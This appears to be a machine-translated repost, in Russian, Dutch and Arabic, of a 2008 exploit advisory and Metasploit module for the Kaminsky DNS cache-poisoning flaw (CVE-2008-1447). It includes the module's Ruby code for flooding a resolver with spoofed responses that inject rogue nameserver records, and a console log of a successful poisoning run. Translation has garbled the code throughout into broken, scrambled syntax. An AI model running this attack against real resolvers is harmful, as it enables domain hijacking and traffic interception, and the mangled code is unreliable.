t_port конца =
держат << конец
srv_sock.close
конца
конца
конца
t_port
если (ports.length < 5)
print_status, то («НЕИСВЕСТНЕ: Этот сервер не ответил к нашим запросам " возвращенному концу
проверки
уязвимостью
если (случайно)
print_status, то («ПРОПУСК: Этот сервер не использует статический порт источника. Порты: # {ports.join («,»} «
print_status («этот сервер может все еще быть exploitable, но не этим инструментом. »
другое
print_status («ТЕРПЕТЬ НЕУДАЧУ: Этот сервер использует статические порты источника и уязвим к цель бега
def
конца
конца отравлению
" = источник = Rex
rhost ():: Спорт Socket.source_address (цели
) = домен datastore [«SRCPORT»
] = datastore [«ДОМЕН»] + «. »
newdns = recons datastore [«NEWDNS»
] = xids datastore [«RECONS»
] = newttl datastore [«XIDS»]
.to_i = xidbase datastore [«TTL»]
.to_i = адрес 20000 = Rex rand (
20001) +:: Text.rand_text (4) .unpack («C4» .join (». «
srv_sock = Rex:: Socket.create_udp (
цель => «PeerHost»,
=> 53 «PeerPort»
)
# получают порт источника через обслуживание metasploit если они не установлены, то
если req = Resolv
== 0 sport.to_i:, тоNS:: Txt
Message.new = «spoofprobe-# {$$} # {(rand () *1000000) .to_i} .red- .metasploit.com»
req.add_question (txt, Resolv: NS:: Ресурс:: В:: TXT)
req.rd = 1
srv_sock.put (req.encode)
res, addr = srv_sock.recvfrom ()
если res и res.length > 0
res = Resolv:, тоNS:: Message.decode (res)
res.each_answer делают |имя, ttl, данные|
если (txt == name.to_s и =~/^ data.strings.join ('') ([^s] +) t_addr s+.*
red.metasploit.com/m), t_port = $1.split, то («: »)
спорт = print_status
t_port.to_i («переключающ к цели порт # {спорт} основанный на обслуживании Metasploit»
если цель! = print_status
t_addr («предупреждающ: адрес # цели {цель} не адрес # источника query этим же nameserver {t_addr}! «
конец
#
конца
конца
конца
конца проверяет уже отравленное свое
начинает
query = Resolv: NS:: Message.new
query.add_question (домен, Resolv: NS:: Ресурс:: В:: NS)
query.rd = 0
начинает после того как
он спрятан в тайнике = ложный
ответ, addr =
srv_sock.recvfrom srv_sock.put (query.encode) ()
если ответ и answer.length > 0
ответ = Resolv:, тоNS:: Message.decode (ответ)
answer.each_answer делают |имя, ttl, данные|
если (, то (name.to_s + «.» домен == и newdns == data.name.to_s)
t = Time.now + print_status
ttl («отказ: Этот домен уже использует # {newdns} по мере того как print_status nameserver
" («вход тайника теряет силу на конец конца конца конца возвращения
disconnect_ip
srv_sock.close
#
{
t.to_s
}
» до тех пор пока спрятанное в тайнике
спасение:: Повышение
$ Interrupt!
спасение:: Print_status => e
исключения («проверка погрешностей имя DNS: {e.class} конец # # {e} # {e.backtrace}
«
res0 = сеть: NS:: Resolver.new (: => nameservers [recons], => ns_search ложное: print_status решающего прибора рекогносцировки # рекурсивного => поистине
) «пристреливая nameserver # {цель} для впрыски nameservers # {домена} по мере того как # {newdns}»
# смотрит вверх nameservers для print_status
домена «запрашивая recon nameserver для # {домена} 'nameservers s…»
answer0 = res0.send (домен, сеть: NS:: Barbs авторитетов
# #print_status NS) «получил ответ с ответами # {answer0.header.anCount}, {answer0.header.nsCount}
» = [] хранение # для nameservers, котор
answer0.answer.each делают |rr0|
print_status «получило показатель # {rr0.type}: # {rr0.inspect} «
если #print_status hostname «NS»
== rr0.type print_status «запрашивая recon nameserver для адреса # {rr0.nsdname}
…» answer1 = res0.send (rr0.nsdname) # получает ответ ns для
ответ «полученный с ответами, то # {answer1.header.anCount}, авторитеты» answer1.answer.each # {answer1.header.nsCount
} делает |rr1|
print_status «получило показатель # {rr1.type}: # {rr1.inspect} «
res2 = сеть: NS:: Resolver.new (: => rr1.address nameservers, => ns_search ложное: рекурсивное => ложное: print_status => 1 повторенной попытки
) «проверяя Authoritativeness: Запрашивающ # {rr1.address} для # {домена}… «
answer2 = res2.send (домен)
если answer2 и answer2.header.auth? и nsrec >= 1
answer2.header.anCount = {: названное => rr0.nsdname: barbs => rr1.address addr
} << print_status
«# nsrec {rr0.nsdname} авторитетны для # {домена}, добавляющ к перечню nameservers к spoof как»
конец
конца
конца
конца
если print_status, то == 0
barbs.length («отсутствие найденных серверов DNS. »
поток
#
конца
возвращения
disconnect_ip srv_sock.close цель с queries и spoofed реакции, одно окончательн ударит
queries = реакции
0 = 0
print_status ip_sock connect_ip
if not («пытающ для того чтобы впрыснуть показатели отравы для nameservers s # {домена} 'в # {цель}: # {спорт}…»
пока поистине
randhost = Rex:: Text.rand_text_alphanumeric (12) + «.» + домен # хаотизирует hostname
# посылает spoofed req
= Resolv query: NS:: Message.new
req.id = rand (2 ** 16)
req.add_question (randhost, Resolv: NS:: Ресурс:: В:: A)
req.rd = 1
buff = (
Scruby:: IP.new (
#: barbs => src [0] [: addr] .to_s
: источник => src,
цель => st,
=> 17)
/Scruby roto:: UDP.new (
: => спорта (rand ((2 ** 16) - 1024) +1024) .to_i,
port queries =>, котор
53)
/req.encode)
.to_net ip_sock.sendto (buff, цели
) += 1
# посылают зло spoofed ответ от ВСЕХ nameservers (barbs [*] [: addr])
req.add_answer (randhost, newttl, Resolv: NS:: Ресурс:: В:: A.new (адрес))
req.add_authority (домен, newttl, Resolv: NS:: Ресурс:: В:: NS.new (Resolv: NS:: Name.create (newdns)))
req.add_additional (newdns, newttl, Resolv: NS:: Ресурс:: В:: A.new (адрес)) Проигнорированный #
req.qr = 1
req.aa = 1
xidbase.upto (xidbase+xids-1) делает |идентификация|
req.id = идентификация
barbs.each делают |barb|
buff = (
Scruby:: IP.new (
#: barbs => src [: addr] .to_s
: barb => src [: addr] .to_s,
цель => st,
=> 17)
/Scruby roto:: UDP.new (
: => 53 спорта,
port уточнение состояния
# конца
конца реакций
+= 1 => sport.to_i) /req.encode
) .to_net ip_sock.sendto
(
buff
, цели)
если % print_status, то 1000 == 0
queries («послал queries # {queries} и # {реакции} spoofed конец # реакции
…
» каждый настолько часто, проверка и видит если цель отравлена…, то
если % == 0 queries 250
начинают
query = Resolv:, тоNS:: Message.new
query.add_question (домен, Resolv: NS:: Ресурс:: В:: NS)
query.rd = 0
ответов, addr =
srv_sock.recvfrom srv_sock.put (query.encode) ()
если ответ и answer.length > 0
ответ = Resolv:, тоNS:: Message.decode (ответ)
answer.each_answer делают |имя, ttl, данные|
если (, то (name.to_s + «.» домен == и print_status newdns == data.name.to_s
) («отравление успешно после # {queries} пытает: спасение конца конца конца возвращения disconnect_ip srv_sock.close # == #
{
домена
}
{
newdns
}
«:: Повышение
$ Interrupt!
спасение:: Print_status => e
исключения («ошибка запрашивая имя DNS: {e.class} конец конца конца конца конца конца # # {e
}
#
{
e.backtrace
}
«
dns gebrekjuli 2008 aanvalscode
Automatically translated into Dutch thanks to WorldLingo
code DE lattaque sur le dns (= faille dns) Engelse juillet 2008
_ __
// | | | |
====####//__ ##//##| |##| |####====
| | | |__| | | | | |
| | ___ | _ _ | | | | |
======######//#| |##| |#| |##| |######======
____/ |__| |__| ______/
de computer Academisch Ondergronds
http://www.caughq.org
exploiteert identiteitskaart
van de Prestatie van de Code
===============/==================================- ======================: Cau-ex-2008-0003
de Datum van de versie: 2008.07.23
Titel: bailiwicked_domain.rb
beschrijving: DNS van Kaminsky het Gebrek van de Vergiftiging van het Geheime voorgeheugen exploiteert voor Geteste
Domeinen: BIND 9.4.1-9.4.2
Attributen: Ver, Vergift, Resolver, Metasploit
exploiteer URL: http://www.caughq.org/exploits/CAU-EX-2008-0003.tx- t
Auteur/E-mail: I) ruid
H de Beschrijving ===============/==================================-
D van Moore
======================
===========
Deze prestatie richten een vrij alomtegenwoordig gebrek in DNS implementaties
die de toevoeging van kwaadwillige DNS verslagen in het geheime voorgeheugen van het doel
nameserver toestaan. Deze prestatiegeheime voorgeheugens één enkele kwaadwillige nameserver
ingang in het doel nameserver dat wettige nameservers
voor het doeldomein vervangt. Door het doel te veroorzaken nameserver om
voor willekeurige hostnames bij doel te vragen kunnen het domein, de aanvaller spoof
een reactie op de doelserver met inbegrip van een antwoord voor de vraag, een
verslag van de gezagsserver, en een extra verslag voor die server,
veroorzakend doel nameserver om het extra verslag in het geheime voorgeheugen
op te nemen. Deze toevoeging vervangt volledig de oorspronkelijke nameserver
verslagen voor het doeldomein.
Voorbeeld
=======
# /msf3/msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
= [msf v3.2-versie
+ -- --= [298 exploiteren - 124 nuttige lading
+ -- --= [18 codeurs - 6 nops
= [aux 73
msf > hulp/spoof gebruik/dns/bailiwicked_domain
msf helper (bailiwicked_domain) > plaatste msf helper
RHOST A.B.C.D RHOST
=> A.B.C.D (bailiwicked_domain) > plaatste example.com van het DOMEIN
de helper van het DOMEIN =>
example.com msf (bailiwicked_domain) > plaatste de helper van NEWDNS
dns01.metasploit.com NEWDNS =>
dns01.metasploit.com msf (bailiwicked_domain) > plaatste SRCPORT 0
SRCPORT => 0
msfhelper (bailiwicked_domain) > controle
[*] Gebruikend de dienst Metasploit om winstgevendheid te verifiëren…
[*] ADRES >>: A.B.C.D HAVEN: 50391
[*] ADRES >>: A.B.C.D HAVEN: 50391
[*] ADRES >>: A.B.C.D HAVEN: 50391
[*] ADRES >>: A.B.C.D HAVEN: 50391
[*] ADRES >>: A.B.C.D HAVEN: 50391
[*] ONTBREEK: Deze server gebruikt statische bronhavens en is kwetsbaar aan vergiftigings
msf helper (bailiwicked_domain) > graaft +short - t NS example.com @A.B.C.D
[*] exec: graaf +short - t NS example.com @A.B.C.D
b.iana-servers.net.
a.iana-servers.net.
msf stelt de helper (bailiwicked_domain) >
[*] Omschakeling aan doelhaven 50391 in werking die bij dienst Metasploit wordt gebaseerd die
[*] nameserver A.B.C.D voor injectie van example.com de richt. nameservers als dns01.metasploit.com dat
[*] recon nameserver voor example.com vraagt. 'snameservers…
[*] kreeg een NS- verslag: example.com. 171957 IN NS b.iana-servers.net.
[*] Vragend recon nameserver voor adres van b.iana-servers.net….
[*] kreeg een a- verslag: b.iana-servers.net. 171028 IN A 193.0.0.236 dat
[*] Authoritativeness controleert: Vragend 193.0.0.236 voor example.com….
[*] b.iana-servers.net. is gebiedend voor example.com. , toevoegend aan lijst van nameservers aan spoof zoals
[*] Gekregen een NS- verslag: example.com. 171957 IN NS a.iana-servers.net.
[*] Vragend recon nameserver voor adres van a.iana-servers.net….
[*] kreeg een a- verslag: a.iana-servers.net. 171414 IN A 192.0.34.43 dat
[*] Authoritativeness controleert: Vragend 192.0.34.43 voor example.com….
[*] a.iana-servers.net. is gebiedend voor example.com. , toevoegend aan lijst van nameservers aan spoof zoals
[*] Proberend om vergiftverslagen voor example.com in te spuiten. 'snameservers in A.B.C.D: 50391…
[*] Verzonden 1000 vragen en 20000 spoofed reacties…
[*] Verzonden 2000 vragen en 40000 spoofed reacties…
[*] Verzonden 3000 vragen en 60000 spoofed reacties…
[*] Verzonden 4000 vragen en 80000 spoofed reacties…
[*] Verzonden 5000 vragen en 100000 spoofed reacties…
[*] Verzonden 6000 vragen en 120000 spoofed reacties…
[*] Verzonden 7000 vragen en 140000 spoofed reacties…
[*] Verzonden 8000 vragen en 160000 spoofed reacties…
[*] Verzonden 9000 vragen en 180000 spoofed reacties…
[*] Verzonden 10000 vragen en 200000 spoofed reacties…
[*] Verzonden 11000 vragen en 220000 spoofed reacties…
[*] Verzonden 12000 vragen en 240000 spoofed reacties…
[*] Verzonden 13000 vragen en 260000 spoofed reacties…
[*] Vergiftigen succesvol na 13250 pogingen: example.com. == dns01.metasploit.com
[*] de Hulpmoduleuitvoering voltooide
msf helper (bailiwicked_domain) > graaft +short - t NS example.com @A.B.C.D
[*] exec: graaf +short - t NS example.com @A.B.C.D
dns01.metasploit.com.
Crediteert
=======
Dan Kaminsky wordt gecrediteerd voor oorspronkelijk het ontdekken van deze kwetsbaarheid.
Cedric Blancher berekende de de injectiemethode van NS en
was genoeg koel om ons en aandeel met de elektronische post te versturen!
De verwijzingen
==========
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-- 2008-1447
http://www.kb.cert.org/vuls/id/800113
Metasploit
==========
vereisen „msf/kern“
vereist „netto/dns“
vereist „scruby resolv
“ de klassenHelper van module
Msf:
“ vereis „: Spoof: NS:: BailiWickedDomain < Msf:: De helper
omvat Prestatie:: Ver:: Ip
def initialiseert (info = {})
super (update_info (info,
de Aanval van het Domein van de „Naam“ => „DNS BailiWicked“,
„Beschrijving“ => %q {
Deze prestatie valt een vrij alomtegenwoordig gebrek in DNS implementaties aan die
Dan Kaminsky vond en ~Jul 2008 onthulde. Deze prestatie vervangt de ingangen
van doeldomeinen nameserver in een kwetsbare DNS geheim voorgeheugenserver. Dit aanvalswerk
door willekeurige hostnamevragen naar de doelDNS server te verzenden wordt gekoppeld die aan spoofed
antwoorden aan die vragen van gebiedende nameservers voor dat domein.
Uiteindelijk, zal een veronderstelde identiteitskaart aanpassen, spoofed pakket zal worden toegelaten, en
de nameserveringangen voor het doeldomein zullen door de server worden vervangen
die in de optie NEWDNS van deze prestatie wordt gespecificeerd.
},
de „Auteur“ =>
[
„I) ruid“, „hdm“,
#
„Cedric Blancher “ # Cedric berekende de de injectiemethode van NS
# en was genoeg koel om ons en aandeel met de elektronische post te versturen!
#
],
„Vergunning“ => MSF_LICENSE,
„Versie“ => '$Revision: 5591 $ ',
„[[„
CVE
“, „2008-1447“], [„V.S.-cert-VU
Verwijzingen“ =>“, „8000113“],
[„URL“, „http://www.caughq.org/exploits/CAU-EX-2008-0003.t- xt“],
],
„DisclosureDate“ => „21 Juli 2008“
))
register_options (
[
OptPort.new („SRCPORT“, [waar, de „Van de bron doelserver vraaghaven (0 voor automatisch)“, nul]),
OptString.new („DOMEIN“, [waar, het „Domein aan kaping“, „example.com“]),
OptString.new („NEWDNS“, [waar, „Hostname van de vervangingsDNS server“, nul]),
OptAddress.new („RECONS“, [waar, „Nameserver dat voor verkenning“, „208.67.222.222“] wordt gebruikt),
OptInt.new („XIDS“, [waar, „Aantal van XIDs om voor elke vraag“ te proberen, 10]),
OptInt.new („TTL“, [waar, „TTL voor de kwaadwillige ingang van NS“, 31337]),
], self.class)
eind
def auxiliary_commands
terugkeer {de „controle“ => „bepaalt als de gespecificeerde DNS server (RHOST)“} kwetsbaar is
eind
def cmd_check (*args)
targ = args [0] || rhost ()
als (niet (targ en targ.length > 0))
print_status („gebruik: het eindprint_status van de controle [dns-server
]
„
terugkeer („Gebruikend de dienst Metasploit om winstgevendheid te verifiëren…“
srv_sock = Rex:: Socket.create_udp (
„PeerHost“ => targ,
„PeerPort“ => 53
)
willekeurig =
de valse havens = [
] lport =
nul 1.upto (5) |i|
req = Resolv: NS:: Message.new
txt = „spoofprobe-controle-# {I} - # {$$} # {(rand () *1000000-) .to_i} .red.metasploit.com“
req.add_question (txt, Resolv: NS:: Middel:: IN:: TXT)
req.rd = 1
srv_sock.put (req.encode)
onderzoek, addr = srv_sock.recvfrom ()
als onderzoek en res.length > 0
onderzoek = Resolv: NS:: Message.decode (onderzoek)
res.each_answer |naam, ttl, gegevens|
als (name.to_s == txt en data.strings.join ('') =~/^ ([^s] +) s+.* red.metasploit.com/m)
t_addr, t_port = $1.split („: “)
print_status („ADRES >>: # {t_addr} HAVEN: # {t_port} „
t_port = t_port.to_i
als (lport en lport! = t_port)
willekeurig = waar
eind
lport = t_port
van het het eindeind van het havens
<<
t_port
eind
het eind
srv_sock.close
als (ports.length < 5)
print_status („ONBEKEND: Deze server antwoordde niet op eind van de onze verzoeken het " terugkeer
van de kwetsbaarheids
controle
als (willekeurige)
print_status („PAS: Deze server gebruikt geen statische bronhaven. Havens: # {(„,“} „print_status
ports.join („Deze server kan nog, maar niet door dit hulpmiddel exploiteerbaar zijn. “
anders
print_status („ONTBREEK: Deze server gebruikt statische bronhavens en is kwetsbaar aan het eind def
in werking gesteld
doel
van het vergiftigings "
eind = rhost ()
bron = Rex:: Socket.source_address (doel)
sport = datastore [„SRCPORT“]
domein = datastore [„DOMEIN“] + „. “
newdns = datastore [„NEWDNS“]
recons = datastore [„RECONS“]
xids = datastore [„XIDS“] .to_i
newttl = datastore [„TTL“] xidbase
.to_i = rand (20001) + adres
20000 = Rex:: Text.rand_text (4) .unpack („C4“ .join (“. „
srv_sock = Rex:: Socket.create_udp (
het doel van „PeerHost“ =>,
„PeerPort“ => 53
)
# krijg de bronhaven via de metasploitdienst als het niet plaatste als
sport.to_i == 0 req
= Resolv is: NS:: Message.new
txt = „spoofprobe-# {$$} # {(rand () *1000000) .to_i} .red- .metasploit.com“
req.add_question (txt, Resolv: NS:: Middel:: IN:: TXT)
req.rd = 1
srv_sock.put (req.encode)
onderzoek, addr = srv_sock.recvfrom ()
als onderzoek en res.length > 0
onderzoek = Resolv: NS:: Message.decode (onderzoek)
res.each_answer |naam, ttl, gegevens|
als (name.to_s == txt en data.strings.join ('') =~/^ ([^s] +) s+.* red.metasploit.com/m)
t_addr, t_port = $1.split („: “)
sport = print_status
t_port.to_i („Omschakeling aan doelhaven # {sport} gebaseerd bij de dienst Metasploit“
als doel! = t_addr
print_status („Waarschuwing: het doel adres # {doel} is niet het zelfde als het de vraag van bron nameserver adres # {t_addr}! „
van het het eind
eind
van het eind
eind
het eind
# verifi�ërt niet reeds vergiftigd zijn
met vraag
= Resolv beginnen: NS:: Message.new
query.add_question (domein, Resolv: NS:: Middel:: IN:: NS)
query.rd = beginnen
0
caching = vals
(query.encode) antwoord
srv_sock.put, addr = srv_sock.recvfrom ()
als antwoord en answer.length > antwoord
0 = Resolv: NS:: Message.decode (antwoord)
answer.each_answer |naam, ttl, gegevens|
als ((name.to_s + „.“ == domein en data.name.to_s == newdns)
t = Time.now + ttl
print_status („Mislukking: Dit domein gebruikt reeds # {newdns} als nameserver "
print_status („de ingang van het Geheime voorgeheugen verloopt op # {t.to_s}“
srv_sock.close
disconnect_ip
het eind
van het het eind
eind
van het terugkeer
eind tot caching niet
redding:: Onderbreek
verhogings$!
redding:: Print_status van de uitzondering =>
e („het controleren van de Fout de DNS naam: # {e.class} # {e} # {e.backtrace} „
beëindig
res0 = Netto: NS:: Resolver.new (: nameservers => [recons], ns_search valse =>: recursieve ware =>) # verkennings resolver
print_status die „nameserver # {doel} richt voor injectie van # {domein} nameservers zoals # {newdns}“
# Blik omhoog nameservers voor domein
print_status die „recon nameserver vraagt voor # {domein} 'Netto snameservers…
“ answer0 = res0.send (domein: NS:: NS)
#print_status het „Gekregen antwoord met # {answer0.header.anCount} antwoorden, # {answer0.header.nsCount} autoriteiten“
weerhaken = [] # opslag voor nameservers
answer0.answer.each |rr0|
print_status „werd # {rr0.type} verslag: # {rr0.inspect} „
als rr0.type == die „NS“
print_status „recon nameserver voor adres vragen van # {rr0.nsdname}…“
answer1 = res0.send (rr0.nsdname) # het antwoord van NS voor hostname#print_status
„Gekregen antwoord met # {answer1.header.anCount} antwoorden krijgen, # {answer1.header.nsCount} de autoriteiten“
answer1.answer.each |rr1|
print_status „werd # {rr1.type} verslag: # {rr1.inspect} „
res2 = Netto: NS:: Resolver.new (: nameservers => rr1.address, ns_search valse =>: recursieve valse =>: probeer) print_status => opnieuw
1 „Controlerend Authoritativeness: Het vragen # {rr1.address} voor # {domein}… „
answer2 = res2.send (domein)
als answer2 en answer2.header.auth? en nsrec answer2.header.anCount >=
1 = {: naam => rr0.nsdname: addr => rr1.address}
is weerhaken<<
nsrec print_status „# {rr0.nsdname} gebiedend voor # {domein}, toevoegend aan lijst van nameservers aan spoof als“
het eind
eind
van het eind
eind
als print_status barbs.length ==
0 („Geen DNS gevonden servers. “
srv_sock.close
disconnect_ip
de het terugkeer
eind
# Vloed het doel met vragen en spoofed reacties, zal men uiteindelijk vragen
= 0 reacties
= connect_ip 0
als niet ip_sock print_status
raken („Proberend om vergiftverslagen voor in te spuiten # {domein} 'snameservers in # {doel}: # {sport}…“
terwijl ware
randhost = Rex:: Text.rand_text_alphanumeric (12) + „.“ + verdeelt het domein # hostname willekeurig
# verzendt spoofed vraag
req = Resolv: NS:: Message.new
req.id = rand (2 ** 16)
req.add_question (randhost, Resolv: NS:: Middel:: IN:: A)
req.rd = bleekgele
1 = (
Scruby:: IP.new (
#: src weerhaken => [0] [: addr] .to_s
: src bron =>,
st => doel,
roto => 17
) /Scruby:: UDP.new (
: de sport => (rand ((2 ** 16) - 1024) +1024) .to_i,
haven => 53
) (
, doel
) vragen /req.encode) .to_net bleekgele
ip_sock.sendto += 1
# verzendt kwaad spoofed antwoord van ALLE nameservers (weerhaken [*] [: addr])
req.add_answer (randhost, newttl, Resolv: NS:: Middel:: IN:: A.new (adres))
req.add_authority (domein, newttl, Resolv: NS:: Middel:: IN:: NS.new (Resolv: NS:: Name.create (newdns)))
req.add_additional (newdns, newttl, Resolv: NS:: Middel:: IN:: A.new (adres)) # Genegeerd
req.qr =
1 req.aa =
1 xidbase.upto (xidbase+xids-1) |identiteitskaart|
req.id =
identiteitskaart barbs.each |weerhaak|
bleekgeel = (
Scruby:: IP.new (
#: src weerhaken => [: addr] .to_s
: src weerhaak => [: addr] .to_s,
st => doel,
roto => 17
) /Scruby:: UDP.new (
: sport => 53,
haven=> (
, doel
) reacties
sport.to_i) /req.encode) .to_net bleekgele
ip_sock.sendto += 1
van de eind
eind
# status update
als vragen % 1000 print_status ==
0 („Verzonden # {vragen} de vragen en # {reacties} spoofed reacties…“
eind
# af en toe, controle en zien of wordt het doel vergiftigd…
als de vragen % 250 == 0
met vraag
= Resolv beginnen: NS:: Message.new
query.add_question (domein, Resolv: NS:: Middel:: IN:: NS)
query.rd = (
query.encode) antwoord 0
srv_sock.put, addr = srv_sock.recvfrom ()
als antwoord en answer.length > antwoord
0 = Resolv: NS:: Message.decode (antwoord)
answer.each_answer |naam, ttl, gegevens|
als ((name.to_s + „.“ == domein en newdns) print_status data.name.to_s
== („succesvolle Vergiftiging na # {vragen} pogingen: # {domein} == # {newdns} „
srv_sock.close
disconnect_ip
keren
het eind
redding terug
van het eind
eind:: Onderbreek
verhogings$!
redding:: Print_status van de uitzondering =>
e („Fout die de DNS naam vraagt: # {e.class} # {e} # {e.backtrace} „
beëindig
het eind
van het het eind
eind
van het eind
eind
[دن] عيبة يوليو-تمّوز 2008 هجوم رمز
Automatically translated into Arabic thanks to WorldLingo
[كد] [د] [لتّقو] [سور] [ل] [دنس] (=[فيلّ] [دن]) [إن] [جويلّت] 2008
_ __
// | | | |
----====####//__ ##//##| |##| |####====----
| | | |__| | | | | |
| | ___ | _ _ | | | | |
------======######//#| |##| |#| |##| |######======------
____/ |__| |__| ______/
حاسوب أكاديميّة باطنيّة
http://www.caughq.org
مأثرة رمز
===============/==================================- ======================
مأثرة [إيد]: [كو-إكس-2008-0003]
إطلاق تاريخ: 2008.07.23
عنوان: [بيليويكددومين.رب]
وصف: [كمينسكي] [دن] مخبأ تسمم عيبة مأثرة لمجالات
يختبر: رباط 9.4.1-9.4.2
شعارات: جهاز تحكّم عن بعد, سم, [رسلفر], [متسبلويت]
مأثرة [أورل]: http://www.caughq.org/exploits/CAU-EX-2008-0003.tx- [ت]
مؤلفة/بريد إلكترونيّ: [إي]) [رويد] يستهدف [درويد] (@) caughq.org>
[ه] [د] مور [هدم] (@) metasploit.com>
===============/==================================- ======================
وصف
===========
هذا مأثرة عيبة كلّيّ وجود تماما في [دن] تزويدات
أيّ يسمح الإدخال من خبيثة [دن] سجلات داخل المخبأ من
الهدف [نمسرفر]. يخبّئ هذا مأثرة وحيد خبيثة [نمسرفر]
مدخل داخل الهدف [نمسرفر] أيّ يستبدل ال [نمسرفرس] شرعيّة
للهدف مجال. ب يسبّب الهدف [نمسرفر] أن
يتساءل ل [هوستنم] عشوائيّة في الهدف مجال, المهاجمة علبة خدعة
إستجابة إلى الهدف نادلة بما في ذلك جوابة للسؤال,
سلطة نادلة سجل, وسجل إضافيّة ل أنّ نادلة,
يسبّب هدف [نمسرفر] أن يدخل السجل إضافيّة داخل
المخبأ. يستبدل هذا إدخال تماما الأصليّة [نمسرفر]
سجلات للهدف مجال.
مثال
=======
# /msf3/msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
=[[مسف] [ف3.2-رلس]
+ -- --=[298 مآثر - 124 حمولات
+ -- --=[18 مرمزات - 6 [نوبس]
=[73 [مسف] [أوإكس]
>إستعمال ثبت مساعدة/خدعة/[دن]/[بيليويكددومين]
[مسف] مساعدة ([بيليويكددومين])>[رهوست] [أ.ب.ك.د]
[رهوست] => [أ.ب.ك.د]
[مسف] مساعدة ([بيليويكددومين])>ثبت مجال example.com
مجال => example.com
[مسف] مساعدة ([بيليويكددومين])>ثبت [نودنس] dns01.metasploit.com
[نودنس] => dns01.metasploit.com
[مسف] مساعدة ([بيليويكددومين])>ثبت [سركبورت] 0
[سركبورت] => 0
[مسف] مساعدة ([بيليويكددومين])>تدقيق
[*] يستعمل [متسبلويت] خدمة أن يدقّق [إإكسبلويتبيليتي]…
[*]>>عنوان: [أ.ب.ك.د] مينة: 50391
[*]>>عنوان: [أ.ب.ك.د] مينة: 50391
[*]>>عنوان: [أ.ب.ك.د] مينة: 50391
[*]>>عنوان: [أ.ب.ك.د] مينة: 50391
[*]>>عنوان: [أ.ب.ك.د] مينة: 50391
[*] [فيل]: يستعمل هذا نادلة ساكن إستاتيكي مصدر مين وحصينة إلى تسمم
[مسف] مساعدة ([بيليويكددومين])>لطم [شورت] - [ت] [نس] example.com [أ.ب.ك.د]
[*] [إإكسك]: لطم [شورت] - [ت] [نس] example.com [أ.ب.ك.د]
b.iana-servers.net.
a.iana-servers.net.
[مسف] يركض
مساعدة ([بيليويكددومين])>[*] تحويل أن يستهدف مينة 50391 يؤسّس على [متسبلويت] خدمة
[*] يستهدف [نمسرفر] [أ.ب.ك.د] لحقنة example.com. [نمسرفرس] ك dns01.metasploit.com
[*] يتساءل [نمسرفر] [ركن] ل example.com. '[س] [نمسرفرس]…
حصل [*] [نس] سجل: example.com. 171957 في [نس] b.iana-servers.net.
[*] يتساءل [نمسرفر] [ركن] لعنوان b.iana-servers.net….
حصل [*] [ا] سجل: b.iana-servers.net. 171028 في [ا] 193.0.0.236
[*] يفحص [أوثوريتتيفنسّ]: يتساءل 193.0.0.236 ل example.com….
[*] b.iana-servers.net. رسميّة ل example.com. , يضيف إلى قائمة ميلان إلى جانب ال [نمسرفرس] إلى خدعة بما أنّ
[*] يحصل [نس] سجل: example.com. 171957 في [نس] a.iana-servers.net.
[*] يتساءل [نمسرفر] [ركن] لعنوان a.iana-servers.net….
حصل [*] [ا] سجل: a.iana-servers.net. 171414 في [ا] 192.0.34.43
[*] يفحص [أوثوريتتيفنسّ]: يتساءل 192.0.34.43 ل example.com….
[*] a.iana-servers.net. رسميّة ل example.com. , يضيف إلى قائمة ميلان إلى جانب ال [نمسرفرس] إلى خدعة بما أنّ
[*] يحاول أن يحقن سم سجلات ل example.com. '[س] [نمسرفرس] داخل [أ.ب.ك.د]: 50391…
خدع [*] يرسل 1000 أسئلة و20000 إستجابات…
خدع [*] يرسل 2000 أسئلة و40000 إستجابات…
خدع [*] يرسل 3000 أسئلة و60000 إستجابات…
خدع [*] يرسل 4000 أسئلة و80000 إستجابات…
خدع [*] يرسل 5000 أسئلة و100000 إستجابات…
خدع [*] يرسل 6000 أسئلة و120000 إستجابات…
خدع [*] يرسل 7000 أسئلة و140000 إستجابات…
خدع [*] يرسل 8000 أسئلة و160000 إستجابات…
خدع [*] يرسل 9000 أسئلة و180000 إستجابات…
خدع [*] يرسل 10000 أسئلة و200000 إستجابات…
خدع [*] يرسل 11000 أسئلة و220000 إستجابات…
خدع [*] يرسل 12000 أسئلة و240000 إستجابات…
خدع [*] يرسل 13000 أسئلة و260000 إستجابات…
[*] يسمّم ناجحة بعد 13250 محاولات: example.com. == dns01.metasploit.com
[*] مساعدة وحدة نمطيّة أتمّ
تنفيذ [مسف] مساعدة ([بيليويكددومين])>لطم [شورت] - [ت] [نس] example.com [أ.ب.ك.د]
[*] [إإكسك]: لطم [شورت] - [ت] [نس] example.com [أ.ب.ك.د]
dns01.metasploit.com.
[كرديتس]
منحت =======
[دن] [كمينسكي] مع أصلا يكتشف هذا جروحية.
[سدريك] مبيضة حسب [سد] (@) rstack.org>خارجا ال [نس] حقنة طريقة
وكان باردة بكفاية إلى بريد إلكترونيّ نا وسهم!
يتطلّب مراجع
==========
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-- 2008-1447
http://www.kb.cert.org/vuls/id/800113
[متسبلويت]
==========
يتطلّب "[مسف]/لب"
"شبكة/[دن]"
يتطلّب "[سكروبي]"
يتطلّب "[رسلف]"
وحدة نمطيّة [مسف]
صنف مساعدة:: [سبووف]: [نس]:: [بيليويكدّومين]<[مسف]:: مساعدة
يتضمّن مأثرة:: جهاز تحكّم عن بعد:: [إيب]
يقع [دف] ([إينفو]={})
فائقة ([أوبدتينفو] ([إينفو],
"اسم" => "[دن] [بيليويكد] مجال هجوم",
"وصف" => [ق] {
هذا مأثرة يهاجم عيبة كلّيّ وجود تماما في [دن] تزويدات أيّ
[دن] [كمينسكي] أسّس وكشف [جول] 2008. يستبدل هذا مأثرة الهدف
مجالات [نمسرفر] مداخل في حصينة [دن] مخبأ نادلة. يعمل
هذا هجوم ب يرسل عشوائيّة [هوستنم] أسئلة إلى الهدف [دن] نادلة يزوّج مع خدع
جوابات إلى أنّ أسئلة من ال [نمسرفرس] رسميّة ل أنّ مجال.
